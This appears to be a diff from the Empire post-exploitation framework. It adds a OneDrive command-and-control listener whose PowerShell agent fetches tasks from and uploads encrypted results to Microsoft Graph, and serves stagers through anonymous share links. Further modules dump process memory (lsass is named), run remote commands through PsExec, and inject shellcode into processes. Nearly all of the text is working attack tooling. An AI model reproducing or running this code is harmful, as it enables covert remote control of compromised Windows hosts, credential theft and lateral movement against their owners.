|
||||||
|
return
|
||||||
|
|
||||||
|
if language.lower() == "powershell":
|
||||||
|
#Function to generate a WebClient object with the required headers
|
||||||
|
token_manager = """
|
||||||
|
$Script:TokenObject = @{token="%s";refresh="%s";expires=(Get-Date).addSeconds(3480)};
|
||||||
|
$script:GetWebClient = {
|
||||||
|
$wc = New-Object System.Net.WebClient
|
||||||
|
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
|
||||||
|
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
|
||||||
|
if($Script:Proxy) {
|
||||||
|
$wc.Proxy = $Script:Proxy;
|
||||||
|
}
|
||||||
|
if((Get-Date) -gt $Script:TokenObject.expires) {
|
||||||
|
$data = New-Object System.Collections.Specialized.NameValueCollection
|
||||||
|
$data.add("client_id", "%s")
|
||||||
|
$data.add("grant_type", "refresh_token")
|
||||||
|
$data.add("scope", "files.readwrite offline_access")
|
||||||
|
$data.add("refresh_token", $Script:TokenObject.refresh)
|
||||||
|
$data.add("redirect_uri", "%s")
|
||||||
|
$bytes = $wc.UploadValues("https://login.microsoftonline.com/common/oauth2/v2.0/token", "POST", $data)
|
||||||
|
$response = [system.text.encoding]::ascii.getstring($bytes)
|
||||||
|
$Script:TokenObject.token = [regex]::match($response, '"access_token":"(.+?)"').groups[1].value
|
||||||
|
$Script:TokenObject.refresh = [regex]::match($response, '"refresh_token":"(.+?)"').groups[1].value
|
||||||
|
$expires_in = [int][regex]::match($response, '"expires_in":([0-9]+)').groups[1].value
|
||||||
|
$Script:TokenObject.expires = (get-date).addSeconds($expires_in - 15)
|
||||||
|
}
|
||||||
|
$wc.headers.add("User-Agent", $script:UserAgent)
|
||||||
|
$wc.headers.add("Authorization", "Bearer $($Script:TokenObject.token)")
|
||||||
|
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
|
||||||
|
$wc
|
||||||
|
}
|
||||||
|
""" % (token, refresh_token, client_id, redirect_uri)
|
||||||
|
|
||||||
|
post_message = """
|
||||||
|
$script:SendMessage = {
|
||||||
|
param($packets)
|
||||||
|
|
||||||
|
if($packets) {
|
||||||
|
$encBytes = encrypt-bytes $packets
|
||||||
|
$RoutingPacket = New-RoutingPacket -encData $encBytes -Meta 5
|
||||||
|
} else {
|
||||||
|
$RoutingPacket = ""
|
||||||
|
}
|
||||||
|
|
||||||
|
$wc = (& $GetWebClient)
|
||||||
|
$resultsFolder = "%s"
|
||||||
|
|
||||||
|
try {
|
||||||
|
try {
|
||||||
|
$data = $null
|
||||||
|
$data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$resultsFolder/$($script:SessionID).txt:/content")
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
if($data -and $data.length -ne 0) {
|
||||||
|
$routingPacket = $data + $routingPacket
|
||||||
|
}
|
||||||
|
|
||||||
|
$wc = (& $GetWebClient)
|
||||||
|
$null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/$resultsFolder/$($script:SessionID).txt:/content", "PUT", $RoutingPacket)
|
||||||
|
$script:missedChecking = 0
|
||||||
|
$script:lastseen = get-date
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
if($_ -match "Unable to connect") {
|
||||||
|
$script:missedCheckins += 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
""" % ("%s/%s" % (base_folder, results_folder))
|
||||||
|
|
||||||
|
get_message = """
|
||||||
|
$script:lastseen = Get-Date
|
||||||
|
$script:GetTask = {
|
||||||
|
try {
|
||||||
|
$wc = (& $GetWebClient)
|
||||||
|
|
||||||
|
$TaskingsFolder = "%s"
|
||||||
|
|
||||||
|
#If we haven't sent a message recently...
|
||||||
|
if($script:lastseen.addseconds($script:AgentDelay * 2) -lt (get-date)) {
|
||||||
|
(& $SendMessage -packets "")
|
||||||
|
}
|
||||||
|
$script:MissedCheckins = 0
|
||||||
|
|
||||||
|
$data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt:/content")
|
||||||
|
|
||||||
|
if($data -and ($data.length -ne 0)) {
|
||||||
|
$wc = (& $GetWebClient)
|
||||||
|
$null = $wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt", "DELETE", "")
|
||||||
|
if([system.text.encoding]::utf8.getString($data) -eq "RESTAGE") {
|
||||||
|
Start-Negotiate -T $script:TokenObject.token -SK $SK -PI $PI -UA $UA
|
||||||
|
}
|
||||||
|
$Data
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
if($_ -match "Unable to connect") {
|
||||||
|
$script:MissedCheckins += 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
""" % ("%s/%s" % (base_folder, taskings_folder))
|
||||||
|
|
||||||
|
return token_manager + post_message + get_message
|
||||||
|
|
||||||
|
def generate_agent(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None):
|
||||||
|
"""
|
||||||
|
Generate the agent code
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not language:
|
||||||
|
print helpers.color("[!] listeners/onedrive generate_agent(): No language specified")
|
||||||
|
return
|
||||||
|
|
||||||
|
language = language.lower()
|
||||||
|
delay = listener_options['DefaultDelay']['Value']
|
||||||
|
jitter = listener_options['DefaultJitter']['Value']
|
||||||
|
profile = listener_options['DefaultProfile']['Value']
|
||||||
|
lost_limit = listener_options['DefaultLostLimit']['Value']
|
||||||
|
working_hours = listener_options['WorkingHours']['Value']
|
||||||
|
kill_date = listener_options['KillDate']['Value']
|
||||||
|
b64_default_response = base64.b64encode(self.default_response())
|
||||||
|
|
||||||
|
if language == 'powershell':
|
||||||
|
f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
|
||||||
|
agent_code = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
comms_code = self.generate_comms(listener_options, client_id, token, refresh_token, redirect_uri, language)
|
||||||
|
agent_code = agent_code.replace("REPLACE_COMMS", comms_code)
|
||||||
|
|
||||||
|
agent_code = helpers.strip_powershell_comments(agent_code)
|
||||||
|
|
||||||
|
agent_code = agent_code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
|
||||||
|
agent_code = agent_code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
|
||||||
|
agent_code = agent_code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
|
||||||
|
agent_code = agent_code.replace('$LostLimit = 60', "$LostLimit = " + str(lost_limit))
|
||||||
|
agent_code = agent_code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64_default_response+'"')
|
||||||
|
|
||||||
|
if kill_date != "":
|
||||||
|
agent_code = agent_code.replace("$KillDate,", "$KillDate = '" + str(kill_date) + "',")
|
||||||
|
|
||||||
|
return agent_code
|
||||||
|
|
||||||
|
def start_server(self, listenerOptions):
|
||||||
|
|
||||||
|
# Utility functions to handle auth tasks and initial setup
|
||||||
|
def get_token(client_id, code):
|
||||||
|
params = {'client_id': client_id,
|
||||||
|
'grant_type': 'authorization_code',
|
||||||
|
'scope': 'files.readwrite offline_access',
|
||||||
|
'code': code,
|
||||||
|
'redirect_uri': redirect_uri}
|
||||||
|
try:
|
||||||
|
r = s.post('https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params)
|
||||||
|
r_token = r.json()
|
||||||
|
r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15
|
||||||
|
r_token['update'] = True
|
||||||
|
return r_token
|
||||||
|
except KeyError, e:
|
||||||
|
print helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description']))
|
||||||
|
raise
|
||||||
|
|
||||||
|
def renew_token(client_id, refresh_token):
|
||||||
|
params = {'client_id': client_id,
|
||||||
|
'grant_type': 'refresh_token',
|
||||||
|
'scope': 'files.readwrite offline_access',
|
||||||
|
'refresh_token': refresh_token,
|
||||||
|
'redirect_uri': redirect_uri}
|
||||||
|
try:
|
||||||
|
r = s.post('https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params)
|
||||||
|
r_token = r.json()
|
||||||
|
r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15
|
||||||
|
r_token['update'] = True
|
||||||
|
return r_token
|
||||||
|
except KeyError, e:
|
||||||
|
print helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description']))
|
||||||
|
raise
|
||||||
|
|
||||||
|
def test_token(token):
|
||||||
|
headers = s.headers.copy()
|
||||||
|
headers['Authorization'] = 'Bearer ' + token
|
||||||
|
|
||||||
|
request = s.get("%s/drive" % base_url, headers=headers)
|
||||||
|
|
||||||
|
return request.ok
|
||||||
|
|
||||||
|
def setup_folders():
|
||||||
|
if not (test_token(token['access_token'])):
|
||||||
|
raise ValueError("Could not set up folders, access token invalid")
|
||||||
|
|
||||||
|
base_object = s.get("%s/drive/root:/%s" % (base_url, base_folder))
|
||||||
|
if not (base_object.status_code == 200):
|
||||||
|
print helpers.color("[*] Creating %s folder" % base_folder)
|
||||||
|
params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': base_folder}
|
||||||
|
base_object = s.post("%s/drive/items/root/children" % base_url, json=params)
|
||||||
|
else:
|
||||||
|
message = "[*] {} folder already exists".format(base_folder)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print' : True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
|
||||||
|
for item in [staging_folder, taskings_folder, results_folder]:
|
||||||
|
item_object = s.get("%s/drive/root:/%s/%s" % (base_url, base_folder, item))
|
||||||
|
if not (item_object.status_code == 200):
|
||||||
|
print helpers.color("[*] Creating %s/%s folder" % (base_folder, item))
|
||||||
|
params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': item}
|
||||||
|
item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']), json=params)
|
||||||
|
else:
|
||||||
|
message = "[*] {}/{} already exists".format(base_folder, item)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print' : True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
|
||||||
|
def upload_launcher():
|
||||||
|
ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False, userAgent='none', proxy='none', proxyCreds='none')
|
||||||
|
|
||||||
|
r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"),
|
||||||
|
data=ps_launcher, headers={"Content-Type": "text/plain"})
|
||||||
|
|
||||||
|
if r.status_code == 201 or r.status_code == 200:
|
||||||
|
item = r.json()
|
||||||
|
r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),
|
||||||
|
json={"scope": "anonymous", "type": "view"},
|
||||||
|
headers={"Content-Type": "application/json"})
|
||||||
|
launcher_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
|
||||||
|
|
||||||
|
def upload_stager():
|
||||||
|
ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell', token=token['access_token'])
|
||||||
|
r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "STAGE0-PS.txt"),
|
||||||
|
data=ps_stager, headers={"Content-Type": "application/octet-stream"})
|
||||||
|
if r.status_code == 201 or r.status_code == 200:
|
||||||
|
item = r.json()
|
||||||
|
r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),
|
||||||
|
json={"scope": "anonymous", "type": "view"},
|
||||||
|
headers={"Content-Type": "application/json"})
|
||||||
|
stager_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
|
||||||
|
#Different domain for some reason?
|
||||||
|
self.mainMenu.listeners.activeListeners[listener_name]['stager_url'] = stager_url
|
||||||
|
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] Something went wrong uploading stager")
|
||||||
|
message = r.content
|
||||||
|
signal = json.dumps({
|
||||||
|
'print' : True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
|
||||||
|
listener_options = copy.deepcopy(listenerOptions)
|
||||||
|
|
||||||
|
listener_name = listener_options['Name']['Value']
|
||||||
|
staging_key = listener_options['StagingKey']['Value']
|
||||||
|
poll_interval = listener_options['PollInterval']['Value']
|
||||||
|
client_id = listener_options['ClientID']['Value']
|
||||||
|
auth_code = listener_options['AuthCode']['Value']
|
||||||
|
refresh_token = listener_options['RefreshToken']['Value']
|
||||||
|
base_folder = listener_options['BaseFolder']['Value']
|
||||||
|
staging_folder = listener_options['StagingFolder']['Value'].strip('/')
|
||||||
|
taskings_folder = listener_options['TaskingsFolder']['Value'].strip('/')
|
||||||
|
results_folder = listener_options['ResultsFolder']['Value'].strip('/')
|
||||||
|
redirect_uri = listener_options['RedirectURI']['Value']
|
||||||
|
base_url = "https://graph.microsoft.com/v1.0"
|
||||||
|
|
||||||
|
s = Session()
|
||||||
|
|
||||||
|
if refresh_token:
|
||||||
|
token = renew_token(client_id, refresh_token)
|
||||||
|
message = "[*] Refreshed auth token"
|
||||||
|
signal = json.dumps({
|
||||||
|
'print' : True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
else:
|
||||||
|
token = get_token(client_id, auth_code)
|
||||||
|
message = "[*] Got new auth token"
|
||||||
|
signal = json.dumps({
|
||||||
|
'print' : True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive")
|
||||||
|
|
||||||
|
s.headers['Authorization'] = "Bearer " + token['access_token']
|
||||||
|
|
||||||
|
setup_folders()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
#Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL
|
||||||
|
try:
|
||||||
|
if listener_name in self.mainMenu.listeners.activeListeners.keys():
|
||||||
|
upload_stager()
|
||||||
|
upload_launcher()
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
time.sleep(1)
|
||||||
|
except AttributeError:
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
time.sleep(int(poll_interval))
|
||||||
|
try: #Wrap the whole loop in a try/catch so one error won't kill the listener
|
||||||
|
if time.time() > token['expires_at']: #Get a new token if the current one has expired
|
||||||
|
token = renew_token(client_id, token['refresh_token'])
|
||||||
|
s.headers['Authorization'] = "Bearer " + token['access_token']
|
||||||
|
message = "[*] Refreshed auth token"
|
||||||
|
signal = json.dumps({
|
||||||
|
'print' : True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
upload_stager()
|
||||||
|
if token['update']:
|
||||||
|
self.mainMenu.listeners.update_listener_options(listener_name, "RefreshToken", token['refresh_token'])
|
||||||
|
token['update'] = False
|
||||||
|
|
||||||
|
search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, staging_folder))
|
||||||
|
for item in search.json()['children']: #Iterate all items in the staging folder
|
||||||
|
try:
|
||||||
|
reg = re.search("^([A-Z0-9]+)_([0-9]).txt", item['name'])
|
||||||
|
if not reg:
|
||||||
|
continue
|
||||||
|
agent_name, stage = reg.groups()
|
||||||
|
if stage == '1': #Download stage 1, upload stage 2
|
||||||
|
message = "[*] Downloading {}/{}/{} {}".format(base_folder, staging_folder, item['name'], item['size'])
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
content = s.get(item['@microsoft.graph.downloadUrl']).content
|
||||||
|
lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
|
||||||
|
message = "[*] Uploading {}/{}/{}_2.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(return_val)))
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=return_val)
|
||||||
|
message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name'])
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
s.delete("%s/drive/items/%s" % (base_url, item['id']))
|
||||||
|
|
||||||
|
if stage == '3': #Download stage 3, upload stage 4 (full agent code)
|
||||||
|
message = "[*] Downloading {}/{}/{}, {} bytes".format(base_folder, staging_folder, item['name'], item['size'])
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
content = s.get(item['@microsoft.graph.downloadUrl']).content
|
||||||
|
lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
|
||||||
|
|
||||||
|
session_key = self.mainMenu.agents.agents[agent_name]['sessionKey']
|
||||||
|
agent_token = renew_token(client_id, token['refresh_token']) #Get auth and refresh tokens for the agent to use
|
||||||
|
agent_code = str(self.generate_agent(listener_options, client_id, agent_token['access_token'],
|
||||||
|
agent_token['refresh_token'], redirect_uri, lang))
|
||||||
|
enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code)
|
||||||
|
|
||||||
|
message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(enc_code)))
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code)
|
||||||
|
message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name'])
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
s.delete("%s/drive/items/%s" % (base_url, item['id']))
|
||||||
|
|
||||||
|
except Exception, e:
|
||||||
|
print helpers.color("[!] Could not handle agent staging for listener %s, continuing" % listener_name)
|
||||||
|
message = traceback.format_exc()
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
|
||||||
|
agent_ids = self.mainMenu.agents.get_agents_for_listener(listener_name)
|
||||||
|
for agent_id in agent_ids: #Upload any tasks for the current agents
|
||||||
|
task_data = self.mainMenu.agents.handle_agent_request(agent_id, 'powershell', staging_key, update_lastseen=False)
|
||||||
|
if task_data:
|
||||||
|
try:
|
||||||
|
r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id))
|
||||||
|
if r.status_code == 200: # If there's already something there, download and append the new data
|
||||||
|
task_data = r.content + task_data
|
||||||
|
|
||||||
|
message = "[*] Uploading agent tasks for {}, {} bytes".format(agent_id, str(len(task_data)))
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
|
||||||
|
r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = task_data)
|
||||||
|
except Exception, e:
|
||||||
|
message = "[!] Error uploading agent tasks for {}, {}".format(agent_id, e)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
|
||||||
|
search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, results_folder))
|
||||||
|
for item in search.json()['children']: #For each file in the results folder
|
||||||
|
try:
|
||||||
|
agent_id = item['name'].split(".")[0]
|
||||||
|
if not agent_id in agent_ids: #If we don't recognize that agent, upload a message to restage
|
||||||
|
print helpers.color("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name']))
|
||||||
|
s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = "RESTAGE")
|
||||||
|
s.delete("%s/drive/items/%s" % (base_url, item['id']))
|
||||||
|
continue
|
||||||
|
|
||||||
|
try: #Update the agent's last seen time, from the file timestamp
|
||||||
|
seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%S.%fZ")
|
||||||
|
except: #sometimes no ms for some reason...
|
||||||
|
seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%SZ")
|
||||||
|
seen_time = helpers.utc_to_local(seen_time)
|
||||||
|
self.mainMenu.agents.update_agent_lastseen_db(agent_id, seen_time)
|
||||||
|
|
||||||
|
#If the agent is just checking in, the file will only be 1 byte, so no results to fetch
|
||||||
|
if(item['size'] > 1):
|
||||||
|
message = "[*] Downloading results from {}/{}, {} bytes".format(results_folder, item['name'], item['size'])
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
r = s.get(item['@microsoft.graph.downloadUrl'])
|
||||||
|
self.mainMenu.agents.handle_agent_data(staging_key, r.content, listener_options, update_lastseen=False)
|
||||||
|
message = "[*] Deleting {}/{}".format(results_folder, item['name'])
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
s.delete("%s/drive/items/%s" % (base_url, item['id']))
|
||||||
|
except Exception, e:
|
||||||
|
message = "[!] Error handling agent results for {}, {}".format(item['name'], e)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
|
||||||
|
except Exception, e:
|
||||||
|
print helpers.color("[!] Something happened in listener %s: %s, continuing" % (listener_name, e))
|
||||||
|
message = traceback.format_exc()
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
||||||
|
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
|
||||||
|
def start(self, name=''):
|
||||||
|
"""
|
||||||
|
Start a threaded instance of self.start_server() and store it in the
|
||||||
|
self.threads dictionary keyed by the listener name.
|
||||||
|
|
||||||
|
"""
|
||||||
|
listenerOptions = self.options
|
||||||
|
if name and name != '':
|
||||||
|
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
|
||||||
|
self.threads[name].start()
|
||||||
|
time.sleep(3)
|
||||||
|
# returns True if the listener successfully started, false otherwise
|
||||||
|
return self.threads[name].is_alive()
|
||||||
|
else:
|
||||||
|
name = listenerOptions['Name']['Value']
|
||||||
|
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
|
||||||
|
self.threads[name].start()
|
||||||
|
time.sleep(3)
|
||||||
|
# returns True if the listener successfully started, false otherwise
|
||||||
|
return self.threads[name].is_alive()
|
||||||
|
|
||||||
|
|
||||||
|
def shutdown(self, name=''):
|
||||||
|
"""
|
||||||
|
Terminates the server thread stored in the self.threads dictionary,
|
||||||
|
keyed by the listener name.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if name and name != '':
|
||||||
|
print helpers.color("[!] Killing listener '%s'" % (name))
|
||||||
|
self.threads[name].kill()
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
|
||||||
|
self.threads[self.options['Name']['Value']].kill()
|
||||||
|
|
|
@ -236,14 +236,14 @@ class Listener:
|
||||||
""" % (listenerOptions['Host']['Value'])
|
""" % (listenerOptions['Host']['Value'])
|
||||||
|
|
||||||
getTask = """
|
getTask = """
|
||||||
function script:Get-Task {
|
$script:GetTask = {
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
sendMessage = """
|
sendMessage = """
|
||||||
function script:Send-Message {
|
$script:SendMessage = {
|
||||||
param($Packets)
|
param($Packets)
|
||||||
|
|
||||||
if($Packets) {
|
if($Packets) {
|
||||||
|
|
|
@ -9,13 +9,13 @@ class Module:
|
||||||
|
|
||||||
'Author': ['@mattifestation'],
|
'Author': ['@mattifestation'],
|
||||||
|
|
||||||
'Description': ('Generates a full-memory minidump of a process.'),
|
'Description': ('Generates a full-memory dump of a process. Note: To dump another user\'s process, you must be running from an elevated prompt (e.g to dump lsass)'),
|
||||||
|
|
||||||
'Background' : True,
|
'Background' : True,
|
||||||
|
|
||||||
'OutputExtension' : None,
|
'OutputExtension' : None,
|
||||||
|
|
||||||
'NeedsAdmin' : True,
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
'OpsecSafe' : False,
|
'OpsecSafe' : False,
|
||||||
|
|
||||||
|
@ -89,9 +89,9 @@ class Module:
|
||||||
if option.lower() != "agent":
|
if option.lower() != "agent":
|
||||||
if values['Value'] and values['Value'] != '':
|
if values['Value'] and values['Value'] != '':
|
||||||
if option == "ProcessName":
|
if option == "ProcessName":
|
||||||
scriptEnd += "Get-Process " + values['Value'] + " | Out-Minidump"
|
scriptEnd = "Get-Process " + values['Value'] + " | Out-Minidump"
|
||||||
elif option == "ProcessId":
|
elif option == "ProcessId":
|
||||||
scriptEnd += "Get-Process -Id " + values['Value'] + " | Out-Minidump"
|
scriptEnd = "Get-Process -Id " + values['Value'] + " | Out-Minidump"
|
||||||
|
|
||||||
for option,values in self.options.iteritems():
|
for option,values in self.options.iteritems():
|
||||||
if values['Value'] and values['Value'] != '':
|
if values['Value'] and values['Value'] != '':
|
||||||
|
|
|
@ -120,8 +120,12 @@ class Module:
|
||||||
scriptEnd = ""
|
scriptEnd = ""
|
||||||
if command != "":
|
if command != "":
|
||||||
# executing a custom command on the remote machine
|
# executing a custom command on the remote machine
|
||||||
return ""
|
customCmd = '%COMSPEC% /C start /b ' + command.replace('"','\\"')
|
||||||
# if
|
scriptEnd += "Invoke-PsExec -ComputerName %s -ServiceName \"%s\" -Command \"%s\"" % (computerName, serviceName, customCmd)
|
||||||
|
|
||||||
|
if resultFile != "":
|
||||||
|
# Store the result in a file
|
||||||
|
scriptEnd += " -ResultFile \"%s\"" % (resultFile)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,155 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
# Metadata info about the module, not modified during runtime
|
||||||
|
self.info = {
|
||||||
|
# Name for the module that will appear in module menus
|
||||||
|
'Name': 'Shinject',
|
||||||
|
|
||||||
|
# List of one or more authors for the module
|
||||||
|
'Author': ['@xorrior','@mattefistation','@monogas'],
|
||||||
|
|
||||||
|
# More verbose multi-line description of the module
|
||||||
|
'Description': ('Injects a PIC shellcode payload into a target process, via Invoke-Shellcode'),
|
||||||
|
|
||||||
|
# True if the module needs to run in the background
|
||||||
|
'Background': True,
|
||||||
|
|
||||||
|
# File extension to save the file as
|
||||||
|
'OutputExtension': None,
|
||||||
|
|
||||||
|
# True if the module needs admin rights to run
|
||||||
|
'NeedsAdmin': False,
|
||||||
|
|
||||||
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||||
|
'OpsecSafe': True,
|
||||||
|
|
||||||
|
# The language for this module
|
||||||
|
'Language': 'powershell',
|
||||||
|
|
||||||
|
# The minimum PowerShell version needed for the module to run
|
||||||
|
'MinLanguageVersion': '2',
|
||||||
|
|
||||||
|
# List of any references/other comments
|
||||||
|
'Comments': [
|
||||||
|
'comment',
|
||||||
|
''
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# Any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# Format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent': {
|
||||||
|
# The 'Agent' option is the only one that MUST be in a module
|
||||||
|
'Description': 'Agent to run the module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ProcId' : {
|
||||||
|
'Description' : 'ProcessID to inject into.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Arch' : {
|
||||||
|
'Description' : 'Architecture of the target process.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Listener' : {
|
||||||
|
